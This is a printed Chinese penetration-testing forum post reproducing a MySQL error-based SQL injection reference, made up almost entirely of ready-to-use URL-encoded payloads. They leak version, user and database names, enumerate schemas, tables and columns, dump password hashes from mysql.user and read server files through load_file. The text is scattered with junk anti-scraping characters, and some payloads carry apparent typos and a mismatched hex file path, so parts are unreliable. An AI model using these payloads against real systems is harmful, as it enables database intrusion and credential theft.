中国网络渗透测试联盟

标题: Mysql暴错注入参考(pdf) [打印本页]

作者: admin    时间: 2013-7-27 11:00
标题: Mysql暴错注入参考(pdf)
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
$ e& g9 a. l4 f5 r4 z7 p4 q8 o" h5 `2 ~; O

8 Q6 O0 G2 D1 PMysql暴错注入参考(pdf),每天一贴。。。
' E  h* A8 C( H# H% V4 l; ?9 \! z; W& ^8 c! B' c
MySql Error Based Injection Reference8 d9 E4 r. J: b9 H8 [. h* y
[Mysql暴错注入参考]  H5 d0 ?0 c# s+ h9 O7 a# @4 I6 _1 C  Y
Authornig0s1992
8 _0 W' T4 x# I/ XBlog:http://pnig0s1992.blog.51cto.com/
" C- Q& h1 v& }9 o+ [TeAm:http://www.FreeBuf.com/9 I9 ~' r7 h0 ^3 x- u
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功' D- ~+ G- S; p& C; ], ?2 m
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
: Z: T  [! M& M; ]2 i6 U查询版本:! T  o3 o! n7 w' K$ t
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
- e7 L. C' Y5 ^" i! _* tjoin+(select+name_const(@@version,0))b)c)
' t. M5 O2 O( }- R6 y, zMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
7 _" o& \: A# P1 F3 Xup by a)b)
: ]' N/ c" R& O查询当前用户:
! s1 [$ @. k; `: tMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)" a; c7 ]. v* \* |% u  L& Q& H
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
! F  m8 E4 X9 @# Nand(0)*2))x+from+information_schema.tables+group+by+x)a)  q- B5 h; |0 i% ]* D
查询当前数据库:
' g/ z  Q; f" w. c3 B0 [3 u. dMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
( k& z5 z3 d8 T+ D0 I4 d  mMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
& }1 T% [) N- g  w+ R- ^4 }or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
. p; |9 o/ W9 g# g' W. N依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
- f4 f9 J3 c  f; V: o- \- ~LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
4 o7 Q8 g* f: W- F+ N# q顺序替换6 j3 l2 c9 _* o& {1 ^
爆指定库数目:
4 S$ M  l0 k& Z. l" ^- L, `and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
7 |1 t! t9 q+ x9 J) M8 Kable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group3 x4 C$ e- K4 D1 ^0 [% N; C; B7 k
+by+x)a)+and+1=1 0x6D7973716C=mysql+ M: j8 N; i5 Y- `6 ]7 k
依次爆表:8 A' j2 z+ d# m% I7 B& B
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t/ K! s) p/ ?2 U& M% N0 P' c, A6 a4 [
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
1 i. [8 V8 O. E1 hbles+group+by+x)a)+and+1=1
  Z8 m- ]4 K7 z0x6D7973716C=Mysql 将n顺序替换
% ?3 q: x  L0 k爆表内字段数目:( Z( ^& p  U0 g. M
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE7 V/ A" w5 t: M+ E) e- H/ B
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
! B& M- }8 \5 F. D7 {7 e$ J0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  t" K$ R2 k4 E+ U2 v
依次爆字段:
/ ?  w4 Q. ~( r6 r! oand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
2 J2 a2 a) e/ f8 H# h/ d+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1) x' Z. |! i; k2 |  E7 {" e2 W$ C
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
0 j% S5 h2 l- p- c3 _0 O依次暴内容:
4 `% s5 ?! u  band+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
7 h/ J- }; R* ^2 f; mma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
4 f; C0 x2 s* x: s/ v将n顺序替换
. A) V8 U- V1 a5 L/ ]9 T爆文件内容:' D% h9 p% A. n/ M
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
$ `0 N- @8 F, t( ^) }  @; Rfrom+information_schema.tables+group+by+a)b) 8 Q6 @7 u. `3 Q5 E3 G% h9 ~
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
" h# \4 ?! ], [1 `9 zThx for reading.. P2 z! q2 k( I+ d, ~# `# H

* Y# V/ A  B( E2 ~- A不要下载也可以,
9 X8 `$ E) c7 d" e9 F% ]4 E! J; r8 c




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2